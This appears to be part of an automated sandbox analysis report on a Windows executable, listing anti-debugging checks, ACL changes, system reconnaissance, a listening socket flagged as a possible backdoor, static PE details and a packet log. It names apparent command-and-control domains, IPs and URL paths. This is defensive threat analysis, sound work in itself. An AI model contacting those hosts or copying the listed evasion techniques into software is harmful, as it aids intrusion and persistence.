Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: 0_2_0042DE56 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0042DE56
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: 0_2_0042DBBB IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0042DBBB
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: 0_1_00429943 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_1_00429943
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: 0_1_0042DBBB IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_1_0042DBBB

HIPS / PFW / Operating System Protection Evasion:

Contains functionality to add an ACL to a security descriptor

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe

Code function: 0_2_00411960 _chkstk,RegGetKeySecurity,InitializeSecurityDescriptor,GetSecurityDescriptorDacl,GetAclInformation,LocalAlloc,InitializeAcl,LocalFree,GetAce,LocalFree,AddAce,LocalFree,SetSecurityDescriptorDacl,LocalFree,RegSetKeySecurity,LocalFree,LocalFree,

0_2_00411960

Contains functionality to create a new security descriptor

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe

Code function: 0_2_00403450 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,SetFileSecurityW,FreeSid,LocalFree,LocalFree,

0_2_00403450

May try to detect the Windows Explorer process (often used for injection)

Show sources

Source: 8UT1RfjZ0z.exe, 00000000.00000002.791686687.0000000000990000.00000002.sdmp	Binary or memory string: Program Manager
Source: 8UT1RfjZ0z.exe, 00000000.00000002.791686687.0000000000990000.00000002.sdmp	Binary or memory string: Shell_TrayWnd
Source: 8UT1RfjZ0z.exe, 00000000.00000002.791686687.0000000000990000.00000002.sdmp	Binary or memory string: Progman

Language, Device and Operating System Detection:

Contains functionality locales information (e.g. system language)

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: GetLocaleInfoA,	0_2_0043182C
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: _GetPrimaryLen,EnumSystemLocalesA,	0_2_00431CD2
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: EnumSystemLocalesA,	0_2_00431CD1
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: GetLastError,__alloca_probe_16,WideCharToMultiByte,GetLocaleInfoA,	0_2_0042E6DE
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: EnumSystemLocalesA,	0_2_00431CA7
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: _TranslateName,_TranslateName,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,	0_2_00431D72
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: GetLocaleInfoA,	0_2_0043190E
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: _GetPrimaryLen,EnumSystemLocalesA,	0_2_00431D37
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: EnumSystemLocalesA,	0_2_00431D36
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: GetLocaleInfoA,	0_2_00431BE6
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: GetLocaleInfoA,	0_2_004353EC
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: GetLocaleInfoA,_GetPrimaryLen,	0_2_004319A4
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: GetLocaleInfoA,	0_1_0043182C
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLastError,GetLocaleInfoW,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,MultiByteToWideChar,	0_1_0042E568
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: GetLocaleInfoA,	0_1_0043190E
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: GetLocaleInfoA,_GetPrimaryLen,_strlen,	0_1_004319A4
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,	0_1_00431A16
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLastError,GetLocaleInfoW,GetLocaleInfoW,WideCharToMultiByte,GetLocaleInfoA,	0_1_0042E6DE
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: GetLocaleInfoA,	0_1_00431BE6
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: GetLocaleInfoA,	0_1_004353EC

Contains functionality to query CPU information (cpuid)

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe

Code function: 0_2_00435635 cpuid

0_2_00435635

Queries information about the installed CPU (vendor, model number etc)

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe

Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Jump to behavior

Queries the installation date of Windows

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDate

Jump to behavior

Queries the product ID of Windows

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion DigitalProductId

Jump to behavior

Queries the volume information (name, serial number etc) of a device

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Contains functionality to query local / system time

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe

Code function: 0_2_00403130 GetSystemTime,SystemTimeToFileTime,SystemTimeToFileTime,SystemTimeToFileTime,CreateFileW,GetFileTime,SystemTimeToFileTime,SystemTimeToFileTime,SystemTimeToFileTime,CloseHandle,GetProcessHeap,HeapFree,

0_2_00403130

Contains functionality to query the account / user name

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe

Code function: 0_2_00404E60 GetModuleHandleA,GetModuleHandleA,GetUserNameA,lstrcmpA,lstrcmpA,GetComputerNameA,lstrcmpA,lstrcmpA,StrStrA,StrStrA,StrStrA,StrStrA,StrStrA,

0_2_00404E60

Contains functionality to query time zone information

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe

Code function: 0_2_0043581C GetTimeZoneInformation,

0_2_0043581C

Contains functionality to query windows version

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe

Code function: 0_2_00410AA0 GetModuleHandleW,GetVersion,GetCurrentProcessId,CreateEventW,GetLastError,GetProcessHeap,HeapAlloc,GetComputerNameW,lstrcpyW,

0_2_00410AA0

Remote Access Functionality:

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe

Code function: 0_2_0040DBB0 WSAStartup,socket,GetCurrentProcessId,inet_addr,htons,bind,closesocket,

0_2_0040DBB0

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious

Simulations

Behavior and APIs

Time	Type	Description
20:09:40	API Interceptor	11689x Sleep call for process: 8UT1RfjZ0z.exe modified

Antivirus Detection

Initial Sample

No Antivirus matches

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

No Antivirus matches

Yara Overview

Initial Sample

No yara matches

PCAP (Network Traffic)

No yara matches

Dropped Files

No yara matches

Memory Dumps

No yara matches

Unpacked PEs

No yara matches

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Startup

System is w7x64native_hvm

8UT1RfjZ0z.exe (PID: 4008 cmdline: 'C:\Users\user\Desktop\8UT1RfjZ0z.exe' MD5: 0EE40DFB96795B73C6BC1EEF31E59356)

cleanup

Created / dropped Files

C:\Users\user\Desktop\8UT1RfjZ0z.inf
Process:	C:\Users\user\Desktop\8UT1RfjZ0z.exe
File Type:	ASCII text, with CRLF line terminators
Size (bytes):	709416
Entropy (8bit):	5.448235979928004
Encrypted:	false
MD5:	0E6B3E04041F1FABAF1B2717142BBE4C
SHA1:	754FCB0F8D8031D25A9AD734CBC15E1741D8DCAE
SHA-256:	34C737DD7D9ABDDBDCF351CA23EA58C9773F3A33DF20FF39D6645E4BC2B6AEB7
SHA-512:	774D1AFFBEC4599E749EF526B30286F4F6CDE7D92CEDACAB5905A95AFA2CB621729F1BAD7A53F41C37A68A1C0F18518EDD9F11DF4F98BDDB87CF2397557673FC
Malicious:	false
Reputation:	low

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
pin.kmsconsultantsllc.com	185.77.129.221	true	false	high
pixmania.biz	104.238.170.189	true	false	high
stormsfronts.com	209.99.40.222	true	false	high
zeon.knowyourself.us	185.77.129.221	true	false	high
pizzza-la.com	127.0.0.1	true	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://pizzza-la.com:80/rbody320	8UT1RfjZ0z.exe, 00000000.00000002.794804211.000000000291C000.00000004.sdmp, 8UT1RfjZ0z.exe, 00000000.00000002.794851528.0000000002943000.00000004.sdmp	false	high
https://pizzza-la.com:80/	8UT1RfjZ0z.exe, 00000000.00000002.794784118.0000000002910000.00000004.sdmp	false	high
https://stormsfronts.com:80/	8UT1RfjZ0z.exe, 00000000.00000002.792580964.000000000207C000.00000004.sdmp	false	high
https://pixmania.biz:80/	8UT1RfjZ0z.exe, 00000000.00000002.792580964.000000000207C000.00000004.sdmp	false	high
https://pin.kmsconsultantsllc.com:80/rpersist4/1958300021	8UT1RfjZ0z.exe, 00000000.00000002.794851528.0000000002943000.00000004.sdmp	false	high
https://pixmania.biz:80/rpersist4/1958300021	8UT1RfjZ0z.exe, 00000000.00000002.794804211.000000000291C000.00000004.sdmp, 8UT1RfjZ0z.exe, 00000000.00000002.794851528.0000000002943000.00000004.sdmp	false	high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Country	ASN	ASN Name	Malicious
104.238.170.189	United States	20473	AS-CHOOPA-ChoopaLLCUS	false
209.99.40.222	United States	40034	CONFLUENCE-NETWORK-INC-ConfluenceNetworksIncVG	false
185.77.129.221	Netherlands	201630	QHOSTERBG	false

Private

IP
127.0.0.1

Static File Info

General
File type:	PE32 executable for MS Windows (GUI) Intel 80386 32-bit
Entropy (8bit):	6.302198601464639
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	8UT1RfjZ0z.exe
File size:	368640
MD5:	0ee40dfb96795b73c6bc1eef31e59356
SHA1:	34825451d348dfc1a3a239b1999f02dffe34e9aa
SHA256:	21b292e5e276536f62e8e96e24cfe732a7b746174b7a6b779ebb07fd6dc8c0a1
SHA512:	4c3d35d337242f4bb44c918e9111a4fb11c843d3be5f5dae41e8910afc094df9da476cf8d54a261e696d3d790677b2dbfc4264904549ce01ed37f7435ed2815a
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ .J.A...A...A.......A.......A.......A.......A...9...A...N...A...A...A...M...A...J...A...M...A..Rich.A..................PE..L..

Static PE Info

General
Entrypoint:	0x427e0f
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, DEBUG_STRIPPED, LINE_NUMS_STRIPPED
DLL Characteristics:
Time Stamp:	0x5AFB27F5 [Tue May 15 18:33:25 2018 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	4b7ca1cfa1b6fda723faad7601db3cf3

Entrypoint Preview

Instruction
call 2025A997h
jmp 20258EDBh
call 202596CCh
push dword ptr [esp+04h]
call 20259503h
push dword ptr [0043E3ACh]
call 2025A0B6h
push 000000FFh
call eax
add esp, 0Ch
ret
push 00439288h
call dword ptr [004390A4h]
test eax, eax
je 202590D8h
push 00439278h
push eax
call dword ptr [00439080h]
test eax, eax
je 202590C8h
push dword ptr [esp+04h]
call eax
ret
push dword ptr [esp+04h]
call 20259096h
pop ecx
push dword ptr [esp+04h]
call dword ptr [004390A8h]
int3
push 00000008h
call 2025AB4Eh
pop ecx
ret
push 00000008h
call 2025AA55h
pop ecx
ret
push esi
mov esi, eax
jmp 202590CDh
mov eax, dword ptr [esi]
test eax, eax
je 202590C4h
call eax
add esi, 04h
cmp esi, dword ptr [esp+08h]
jc 202590B1h
pop esi
ret
push esi
mov esi, dword ptr [esp+08h]
xor eax, eax
jmp 202590D1h
test eax, eax
jne 202590D3h
mov ecx, dword ptr [esi]
test ecx, ecx
je 202590C4h
call ecx
add esi, 04h
cmp esi, dword ptr [esp+0Ch]
jc 202590ADh
pop esi
ret
mov ecx, dword ptr [esp+04h]
push esi
xor esi, esi
cmp ecx, esi
jne 202590DFh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3b0e4	0x64	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x40000	0x18a66	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x59000	0xe48	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x3ac38	0x48	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x39000	0x1a4	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x3746e	0x38000	False	0.681448800223	ump; data	6.61249106711	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x39000	0x2a26	0x3000	False	0.341552734375	ump; data	5.20593362537	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3c000	0x3c1c	0x4000	False	0.248168945312	ump; data	4.54203690119	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x40000	0x18a66	0x19000	False	0.39763671875	ump; data	4.9004655135	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x59000	0xfe8	0x1000	False	0.763916015625	ump; data	6.34281665432	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x401f0	0x468	ump; GLS_BINARY_LSB_FIRST
RT_ICON	0x40658	0x10a8	ump; data
RT_ICON	0x41700	0x25a8	ump; data
RT_ICON	0x43ca8	0x4228	ump; data
RT_ICON	0x47ed0	0x10828	ump; data
RT_DIALOG	0x586f8	0x58	ump; data	English	United States
RT_GROUP_ICON	0x58750	0x4c	ump; MS Windows icon resource - 5 icons, 16x16, 256-colors
RT_MANIFEST	0x5879c	0x2ca	ump; XML document text

Imports

DLL	Import
USER32.dll	RegisterClassW, SetWindowPos, CreateWindowExW, DestroyMenu, ReleaseDC, DrawFocusRect, SetWindowTextW, GetKeyState, DestroyIcon, ReleaseCapture, LoadIconA, UnregisterClassA, SetWindowLongW, TrackPopupMenu, GetMenuStringW, DefWindowProcW, LoadStringW, PostMessageW, SendMessageW, CreateWindowExA, DestroyWindow
KERNEL32.dll	GetStartupInfoA, CompareStringW, CompareStringA, GetTimeZoneInformation, IsValidCodePage, IsValidLocale, EnumSystemLocalesA, GetUserDefaultLCID, GetDateFormatA, GetTimeFormatA, GetStringTypeW, GetStringTypeA, LCMapStringW, LCMapStringA, GetLocaleInfoW, GetLocaleInfoA, MultiByteToWideChar, HeapSize, RtlUnwind, HeapReAlloc, GetOEMCP, GetACP, GetEnvironmentStringsW, VirtualAlloc, GetEnvironmentStrings, GetVersionExA, GetTickCount, GetCommandLineA, Sleep, GetCurrentThread, IsDebuggerPresent, GetLastError, GetProcAddress, LoadLibraryW, EnterCriticalSection, InterlockedExchange, LeaveCriticalSection, WideCharToMultiByte, SetLastError, GetModuleHandleW, GetVersionExW, GetModuleHandleA, ExitProcess, TerminateProcess, GetCPInfo, InitializeCriticalSection, LoadLibraryA, FreeLibrary, HeapFree, HeapAlloc, GetProcessHeap, SetEnvironmentVariableA, WriteFile, GetStdHandle, GetModuleFileNameA, UnhandledExceptionFilter, FreeEnvironmentStringsA, FreeEnvironmentStringsW, SetHandleCount, GetFileType, DeleteCriticalSection, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, InterlockedIncrement, GetCurrentThreadId, InterlockedDecrement, HeapDestroy, HeapCreate, VirtualFree, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, FatalAppExitA, GetCurrentProcess, SetUnhandledExceptionFilter, SetConsoleCtrlHandler
SHLWAPI.dll	SHDeleteEmptyKeyW
msi.dll

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Okt 9, 2018 20:09:41.485589981 MESZ	61407	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:09:41.505326033 MESZ	53	61407	8.8.8.8	192.168.0.42
Okt 9, 2018 20:09:41.787537098 MESZ	55057	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:09:41.807564974 MESZ	53	55057	8.8.8.8	192.168.0.42
Okt 9, 2018 20:09:41.891869068 MESZ	52256	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:09:41.912178993 MESZ	53	52256	8.8.8.8	192.168.0.42
Okt 9, 2018 20:09:41.954914093 MESZ	56228	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:09:41.973936081 MESZ	53	56228	8.8.8.8	192.168.0.42
Okt 9, 2018 20:09:41.979777098 MESZ	49161	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:09:41.981089115 MESZ	49162	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:09:44.980549097 MESZ	49162	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:09:44.989582062 MESZ	49161	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:09:46.533885002 MESZ	64282	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:09:46.563433886 MESZ	53	64282	8.8.8.8	192.168.0.42
Okt 9, 2018 20:09:46.667782068 MESZ	52556	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:09:46.697207928 MESZ	53	52556	8.8.8.8	192.168.0.42
Okt 9, 2018 20:09:46.710383892 MESZ	55433	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:09:46.731442928 MESZ	53	55433	8.8.8.8	192.168.0.42
Okt 9, 2018 20:09:46.734180927 MESZ	49163	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:09:47.533348083 MESZ	49904	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:09:47.553278923 MESZ	53	49904	8.8.8.8	192.168.0.42
Okt 9, 2018 20:09:47.633328915 MESZ	49164	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:09:49.733860970 MESZ	49163	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:09:50.630839109 MESZ	49164	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:09:51.533967018 MESZ	62676	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:09:51.560254097 MESZ	53	62676	8.8.8.8	192.168.0.42
Okt 9, 2018 20:09:51.661053896 MESZ	52548	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:09:51.687793016 MESZ	53	52548	8.8.8.8	192.168.0.42
Okt 9, 2018 20:09:51.700663090 MESZ	56466	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:09:51.726303101 MESZ	53	56466	8.8.8.8	192.168.0.42
Okt 9, 2018 20:09:52.737251997 MESZ	53298	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:09:52.878679991 MESZ	53	53298	8.8.8.8	192.168.0.42
Okt 9, 2018 20:09:52.976222992 MESZ	53677	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:09:53.114131927 MESZ	53	53677	8.8.8.8	192.168.0.42
Okt 9, 2018 20:09:53.127737999 MESZ	49340	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:09:53.266772985 MESZ	53	49340	8.8.8.8	192.168.0.42
Okt 9, 2018 20:09:53.270334005 MESZ	49166	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:09:53.413909912 MESZ	80	49166	209.99.40.222	192.168.0.42
Okt 9, 2018 20:09:53.414191961 MESZ	49166	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:09:53.428550959 MESZ	49166	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:09:53.533803940 MESZ	50886	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:09:53.563711882 MESZ	53	50886	8.8.8.8	192.168.0.42
Okt 9, 2018 20:09:53.573944092 MESZ	80	49166	209.99.40.222	192.168.0.42
Okt 9, 2018 20:09:53.574186087 MESZ	80	49166	209.99.40.222	192.168.0.42
Okt 9, 2018 20:09:53.574408054 MESZ	80	49166	209.99.40.222	192.168.0.42
Okt 9, 2018 20:09:53.574563026 MESZ	80	49166	209.99.40.222	192.168.0.42
Okt 9, 2018 20:09:53.574867964 MESZ	49166	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:09:53.575293064 MESZ	49166	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:09:53.580696106 MESZ	49167	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:09:53.590442896 MESZ	80	49166	209.99.40.222	192.168.0.42
Okt 9, 2018 20:09:53.590643883 MESZ	49166	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:09:53.656723022 MESZ	49168	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:09:53.727402925 MESZ	80	49166	209.99.40.222	192.168.0.42
Okt 9, 2018 20:09:53.731869936 MESZ	80	49167	209.99.40.222	192.168.0.42
Okt 9, 2018 20:09:53.732086897 MESZ	49167	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:09:53.734190941 MESZ	49167	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:09:53.890552044 MESZ	80	49167	209.99.40.222	192.168.0.42
Okt 9, 2018 20:09:53.892592907 MESZ	80	49167	209.99.40.222	192.168.0.42
Okt 9, 2018 20:09:53.892748117 MESZ	80	49167	209.99.40.222	192.168.0.42
Okt 9, 2018 20:09:53.892776966 MESZ	80	49167	209.99.40.222	192.168.0.42
Okt 9, 2018 20:09:53.892976999 MESZ	49167	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:09:53.893593073 MESZ	49167	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:09:53.901705027 MESZ	51868	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:09:53.911469936 MESZ	80	49167	209.99.40.222	192.168.0.42
Okt 9, 2018 20:09:53.911681890 MESZ	49167	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:09:53.921420097 MESZ	53	51868	8.8.8.8	192.168.0.42
Okt 9, 2018 20:09:54.018508911 MESZ	53197	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:09:54.053078890 MESZ	80	49167	209.99.40.222	192.168.0.42
Okt 9, 2018 20:09:54.166485071 MESZ	53	53197	8.8.8.8	192.168.0.42
Okt 9, 2018 20:09:54.187385082 MESZ	50752	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:09:54.193156958 MESZ	53	50752	8.8.8.8	192.168.0.42
Okt 9, 2018 20:09:54.195875883 MESZ	49169	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:09:56.655226946 MESZ	49168	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:09:57.195264101 MESZ	49169	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:09:59.602668047 MESZ	54999	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:09:59.622570038 MESZ	53	54999	8.8.8.8	192.168.0.42
Okt 9, 2018 20:09:59.870594025 MESZ	54401	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:09:59.875857115 MESZ	53	54401	8.8.8.8	192.168.0.42
Okt 9, 2018 20:09:59.899619102 MESZ	49170	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:09:59.968352079 MESZ	49171	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:10:02.899564028 MESZ	49170	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:10:02.966583014 MESZ	49171	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:10:04.536900043 MESZ	64870	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:04.556174994 MESZ	53	64870	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:04.685585022 MESZ	49172	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:10:05.534881115 MESZ	53638	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:05.539741993 MESZ	53	53638	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:05.625292063 MESZ	49173	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:10:07.684890032 MESZ	49172	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:10:08.624891043 MESZ	49173	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:10:09.538063049 MESZ	50565	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:09.543179035 MESZ	53	50565	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:10.651702881 MESZ	55001	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:10.677252054 MESZ	53	55001	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:10.689876080 MESZ	64652	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:10.708935022 MESZ	53	64652	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:11.634634972 MESZ	56738	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:11.640055895 MESZ	53	56738	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:11.725567102 MESZ	58320	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:11.732439995 MESZ	49176	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:10:11.744616985 MESZ	53	58320	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:11.828457117 MESZ	49177	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:11.971338987 MESZ	80	49177	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:11.971648932 MESZ	49177	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:11.972969055 MESZ	49177	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:12.115495920 MESZ	80	49177	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:12.118585110 MESZ	80	49177	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:12.118768930 MESZ	80	49177	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:12.118921995 MESZ	80	49177	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:12.119103909 MESZ	49177	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:12.119575024 MESZ	49177	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:12.121025085 MESZ	49178	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:12.130537987 MESZ	80	49177	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:12.130755901 MESZ	49177	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:12.262398958 MESZ	80	49177	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:12.263484955 MESZ	80	49178	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:12.263772964 MESZ	49178	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:12.265746117 MESZ	49178	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:12.408081055 MESZ	80	49178	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:12.409172058 MESZ	80	49178	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:12.409367085 MESZ	80	49178	209.99.40.222	192.168.0.42
